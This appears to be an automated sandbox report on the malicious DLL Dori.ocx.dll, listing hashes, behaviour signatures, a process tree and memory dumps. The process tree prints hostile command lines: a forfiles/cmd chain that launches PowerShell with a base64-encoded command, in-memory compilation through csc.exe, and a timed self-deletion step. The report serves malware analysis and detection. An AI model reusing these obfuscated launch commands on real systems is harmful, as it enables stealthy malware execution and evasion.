Overview

overview

10

Static

static

Dori.ocx.dll

windows7_x64

10

Dori.ocx.dll

windows10_x64

8

Analysis

  • max time kernel
    121s
  • max time network
    136s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    13-11-2020 10:28

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General

  • Target

    Dori.ocx.dll

  • Size

    141KB

  • MD5

    745868c40e6f1d1d40ae60335417f6d7

  • SHA1

    cfe42b4014fc22596b4305271c4a133492603349

  • SHA256

    7a5e4fd35a1a636ef1beb7e62cc647d7e63f5c7aadd2aa1a49d49c81183aca93

  • SHA512

    fae585aa131dfa0c5063991fe13938f73c83d78b43ee142ca39e767ec7db6ec7bb419522b4c0c6c210163b05e95db896388446dd8b70b7a29d4c6fe31d130b18

Score
8/10

Malware Config

Signatures

  • Blacklisted process makes network request 1 IoCs
  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 68 IoCs
    adwarespyware
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 12 IoCs
  • Suspicious use of SetWindowsHookEx 48 IoCs
  • Suspicious use of WriteProcessMemory 31 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:2968
      • C:\Windows\system32\rundll32.exe
        rundll32.exe C:\Users\Admin\AppData\Local\Temp\Dori.ocx.dll,#1
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:648
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe C:\Users\Admin\AppData\Local\Temp\Dori.ocx.dll,#1
          3⤵
          • Blacklisted process makes network request
          PID:3952
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c start /min forfiles /c "cmd /k @path -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATgBlAHQAaQBkACcAKQAuAFQA & exit" /p C:\Windows\system32 /s /m po*l.e*e
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2732
        • C:\Windows\system32\forfiles.exe
          forfiles /c "cmd /k @path -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATgBlAHQAaQBkACcAKQAuAFQA & exit" /p C:\Windows\system32 /s /m po*l.e*e
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:508
          • C:\Windows\system32\cmd.exe
            /k "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATgBlAHQAaQBkACcAKQAuAFQA & exit
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:3880
            • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
              C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATgBlAHQAaQBkACcAKQAuAFQA
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1980
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\uogsmkl2\uogsmkl2.cmdline"
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:3716
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAD0A.tmp" "c:\Users\Admin\AppData\Local\Temp\uogsmkl2\CSC75B632ABD1F94F1AA5E3636A6A96A5D.TMP"
                  7⤵
                    PID:1484
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jcqvhdjm\jcqvhdjm.cmdline"
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2476
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAEBF.tmp" "c:\Users\Admin\AppData\Local\Temp\jcqvhdjm\CSCB1B29390F5284A47889976A4302CDA2D.TMP"
                    7⤵
                      PID:3172
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /C timeout /t 5 && del "C:\Users\Admin\AppData\Local\Temp\Dori.ocx.dll"
            2⤵
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            PID:1328
            • C:\Windows\system32\timeout.exe
              timeout /t 5
              3⤵
              • Delays execution with timeout.exe
              • Suspicious behavior: CmdExeWriteProcessMemorySpam
              PID:3596
        • C:\Program Files\Internet Explorer\iexplore.exe
          "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
          1⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:188
          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:188 CREDAT:82945 /prefetch:2
            2⤵
            • Modifies Internet Explorer settings
            • Suspicious use of SetWindowsHookEx
            PID:2920
        • C:\Program Files\Internet Explorer\iexplore.exe
          "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
          1⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:2072
          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2072 CREDAT:82945 /prefetch:2
            2⤵
            • Modifies Internet Explorer settings
            • Suspicious use of SetWindowsHookEx
            PID:1852
          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2072 CREDAT:82948 /prefetch:2
            2⤵
            • Modifies Internet Explorer settings
            • Suspicious use of SetWindowsHookEx
            PID:2980

        Network

        MITRE ATT&CK Enterprise v6

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        Downloads

        • memory/1328-35-0x000001B72B7D0000-0x000001B72B7E8000-memory.dmp

          Filesize

          96KB

          Download

        • memory/1980-16-0x00000201E2570000-0x00000201E2571000-memory.dmp

          Filesize

          4KB

          Download

        • memory/1980-34-0x00000201E2540000-0x00000201E2558000-memory.dmp

          Filesize

          96KB

          Download

        • memory/1980-14-0x00007FF99E710000-0x00007FF99F0FC000-memory.dmp

          Filesize

          9.9MB

          Download

        • memory/1980-32-0x00000201E2500000-0x00000201E2501000-memory.dmp

          Filesize

          4KB

          Download

        • memory/1980-24-0x00000201E24F0000-0x00000201E24F1000-memory.dmp

          Filesize

          4KB

          Download

        • memory/1980-15-0x00000201C7E30000-0x00000201C7E31000-memory.dmp

          Filesize

          4KB

          Download

        • memory/3952-1-0x0000000003100000-0x0000000003112000-memory.dmp

          Filesize

          72KB

          Download